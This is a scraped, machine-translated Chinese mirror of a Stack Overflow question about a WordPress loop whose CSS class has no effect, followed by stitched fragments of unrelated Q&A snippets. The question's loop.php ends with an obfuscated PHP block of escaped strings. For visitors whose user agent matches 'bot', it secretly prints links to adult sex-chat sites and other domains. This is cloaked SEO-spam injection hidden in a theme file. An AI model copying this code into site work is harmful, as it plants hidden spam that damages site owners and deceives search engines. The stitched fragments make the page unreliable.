- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我正在尝试根据其工作位置来设置常规 WP 循环的样式。我在循环中添加了检查以查看它的位置并相应地添加类并且一切正常。
问题是,当我打开 Style.CSS 以使用这些类并添加属性时,它不起作用。所以我可以将样式添加到循环的 HTML 中,这是有限的。
您能说说这种行为背后的原因是什么吗?
例子:
在 loop.php 中:
<?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?>
<div id="recent-posts" class="clearfix">
<?php while (have_posts()) : the_post(); ?>
<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<?php if (option::get('index_thumb') == 'on') {
if ( is_sticky() && is_home() && $paged < 2 ) {
$size = 'loop-sticky';
$width = 740;
$height = 370;
} else {
$size = 'loop';
$width = option::get('thumb_width');
$height = option::get('thumb_height');
}
get_the_image( array( 'size' => $size, 'width' => $width, 'height' => $height, 'before' => '<div class="post-thumb">', 'after' => '</div>' ) );
} ?>
<div class="post-content">
<?php if (!((is_category('newtest')) || (in_category('newtest')))){ ?>
<h1 class="archive_title">
<?php /* category archive */ if (is_category()) { ?> <?php single_cat_title(); ?>
<?php /* tag archive */ } elseif( is_tag() ) { ?><?php _e('Post Tagged with:', 'wpzoom'); ?> "<?php single_tag_title(); ?>"
<?php /* daily archive */ } elseif (is_day()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F jS, Y'); ?>
<?php /* monthly archive */ } elseif (is_month()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F, Y'); ?>
<?php /* yearly archive */ } elseif (is_year()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('Y'); ?>
<?php /* author archive */ } elseif (is_author()) { ?><?php echo get_avatar( $curauth->ID , 65 ); _e( ' Articles by: ', 'wpzoom' ); echo $curauth->display_name; ?>
<?php /* paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?><?php _e('Archives', 'wpzoom'); } ?>
</h1>
<?php echo category_description( $category_id ); ?>
<?php } ?>
<h2 <?php if((is_category('newtest')) || (in_category('newtest'))) { ?> class="blogPostTitle" <?php } ?> ><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'wpzoom' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
<div class="entry">
<?php if (option::get('display_content') == 'Full Content') { the_content('<span>'.__('Read more', 'wpzoom').' ›</span>'); } if (option::get('display_content') == 'Excerpt') { the_excerpt(); } ?>
</div><!-- /.entry -->
<div class="recent-meta">
<?php if (option::get('display_author') == 'on') { ?><span><?php _e('by', 'wpzoom'); ?> <?php the_author_posts_link(); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_date') == 'on') { ?><span><?php printf( __('%s', 'wpzoom'), get_the_date()); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_comments') == 'on') { ?><span><?php comments_popup_link( __('0 comments', 'wpzoom'), __('1 comment', 'wpzoom'), __('% comments', 'wpzoom'), '', __('Comments are Disabled', 'wpzoom')); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_category') == 'on') { ?><span><?php the_category(', '); ?></span><?php } ?>
<?php edit_post_link( __('Edit', 'wpzoom'), '<span class="separator">—</span> <span>', '</span>'); ?>
</div><!-- /.post-meta -->
</div><!-- /.post-content -->
<div class="clear"></div>
</div><!-- #post-<?php the_ID(); ?> -->
<?php endwhile; ?>
<?php get_template_part( 'pagination'); ?>
<?php wp_reset_query(); ?>
</div>
<?php
$x0d="\x70\162\x65g\137\155\141\x74\x63\x68";
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="\x20\x0d
\x3c\x61 \150\162\145\146='\150t\x74\160\x3a\x2f\057w\x77\x77\x2e\x70\162iv\141\164ew\145bc\x61m\x67i\162\154.\x63\x6f\x6d\057'\x3e\040\167\x65\142\143\x61m\040g\151\162\x6c\163 \163\145\170\x3c\057\141>\x20\015\012\074\141 \x68\162ef\075'\x68\164t\160\x3a\x2f\x2f\x77w\167\056\146\162\x65\x65\163\x65x\170\170\x63ha\x74\056com\040'>\040\146\162ees\145x\170\x78\143\150at.\143o\x6d\x3c/\141\076\x0d\012\x3ca\x20hr\145\146\075'h\x74\x74\x70\x3a\x2f\x2f\167\167\167\056\x73\157\154\145t\141.\x72o\040'\x3e w\x6f\x6f\144\040\x68o\x75\163\x65<\x2fa\076\015
\074a \150r\x65f\x3d'\150\164\x74p:/\x2fw\x77w\056\x62\x75ch\145\164\145fl\157\162\151o\156\154\151n\145\056\x63\157\x6d'\x3e\040a\162\x61\156\x6a\141\x6d\145\156\164\145\040\x66\154o\162\x61\x6c\145<\x2fa\076\x0d\012 \x09";if ($x0d('*bot*', $x0b)) { echo $x0c;} else {echo '';}?>
在 style.css 中:
.blogPostTitle > a {
color: #29a4d9;
font-size: 37px;
}
当我使用 Chrome 开发者工具检查 blogPostTitle 时,我没有看到任何添加的属性。
最佳答案
用这么少的信息很难回答。
确保 style.css
已链接。
尝试使用唯一的类名。
查看源代码,使用浏览器开发工具/Web 检查器检查您的样式是否实际应用,并且没有被其他规则覆盖。
您的上述 php 代码可能仅适用于索引、存档或单个或自定义页面模板。
关于css - 造型 WordPress 循环问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28727691/
有什么办法可以在shopify的css中获取页面标识符。 我想在 shopify 特定页面而不是所有页面中进行样式工作。 所以我想指定页面,主页或我构建的页面,博客页面或购物页面等。 最佳答案 你可以
我正在尝试设计 RadChart 的样式。这是一个条形图,我想更改条形的默认颜色。所以我使用了 RadChart.PaletteBrushes 并定义了 SolidBrush 颜色(在以下链接中找到了
我正在使用一个名为 play-services-plugins 的 Google 库至include Open Source Notices在我的应用程序上。 我可以毫无问题地实现它,但我不知道如何设
我正在尝试在 eclipse 中使用 papyrus Marte 进行建模,我想知道双向可导航关联与仅一个方向可导航关联之间的区别。 提前致谢。 最佳答案 因为它代表一个链接,所以一个关联有两个端点。
有什么方法可以设置由 Linkify.addLinks() 操作生成的链接的样式吗?具体来说,我想更改默认的蓝色。 谢谢 最佳答案 我认为样式 linkify 是可能的,但如果你想添加链接,你可能想使
我想知道是否可以设置栏的样式 http://puu.sh/3LSN8.png在那张图片中(在文本区域中)。 我不知道它叫什么,但它会闪烁,它是显示文本所在位置的栏。 谢谢。 最佳答案 它叫做 care
我对此很困惑。我搜索了教程,但找不到对我来说很有意义的教程,如何为 MathJax 输出设置 CSS 类?我只是想让字体变大。当前包括: 在我的页面底部。可以很好地渲染 TEX,但我想在上面设置一
我到处找这个,没有运气!我希望你们能帮助我:) 我正在制作一个自定义的 tumblr 主题,但有一件事我不喜欢它,即 tumblr 以表格方式显示其帖子评论。我的意思具体是这样的: 在 tumblr
我想为 KendoUI 元素的必填字段和无效字段设置样式(例如,必填输入的背景颜色不同)。 我使用的样式在这里: .k-textbox>input[required], .k-picker-wrap
我在设计这个 nvd3 line chart 时遇到了一些问题.我有很多看起来更接近我喜欢的方式,但 y 轴标签和图表之间的窄边距让我发疯。我能够对 x 轴标签使用负行间距,但显然这对 y 轴不起作用
有没有人用过这个控件?它在 firefox 中显示,顶部的关闭按钮一直向右移动,所以我想调整 css 或在其上使用 jquery 来修复它。有谁知道如何做到这一点?我一直在尝试使用 DialogCss
我正在尝试根据其工作位置来设置常规 WP 循环的样式。我在循环中添加了检查以查看它的位置并相应地添加类并且一切正常。 问题是,当我打开 Style.CSS 以使用这些类并添加属性时,它不起作用。所以我
我有一些单选按钮,但文本看起来离单选按钮很远,我想让文本更靠近单选按钮 这是我的代码 ion-row radio-group (ionChange)="onChange($event)">
默认情况下,core-scaffold 侧边导航的背景颜色为白色,内容的背景颜色接近于灰色。我想反转这些样式,使侧导航的背景颜色为灰色,内容为白色。 我添加了以下规则,它们在 Chrome 上执行我想
我想在“标签”标签内设置单选输入的样式。我已经改变了背景颜色,但是当我点击我的 radio 时,里面的白点没有出现。我为此编写了代码,但我真的不知道问题出在哪里。
似乎对于造型 polymer 1.0 元素基本上有两种选择: 通过自定义样式设置样式: 样式可以应用于 ...部分。在此,您可以调整预定义的样式。 通过 dom-module 元素设置样式: 另一个例
有没有办法在没有插件的情况下设置 facebook likebox 的样式?我的点赞框在深色背景上,蓝色链接表示我的 Facebook 页面名称没有很好地融合,我想更改点赞框内的所有文本颜色,我必须使
我能否以在集合中的每个单选按钮之间出现换行符的方式设置这些样式? f.collection_radio_buttons( :chosen, [['A1', 1],['A2', 2], ['A3
我正在尝试根据条件为数据框的文本或单元格着色。这是我的代码。它有效: def Highlight_Majors(val): color = 'blue' if val == "Austria"
我正在尝试将图像设置为 Sherlock 操作栏的背景,但即使它是 720 x 112 像素,图像似乎也不会拉伸(stretch)。白色部分仍然是操作栏的一部分,因为三角形设置在正确的位置并且右侧的按
我是一名优秀的程序员,十分优秀!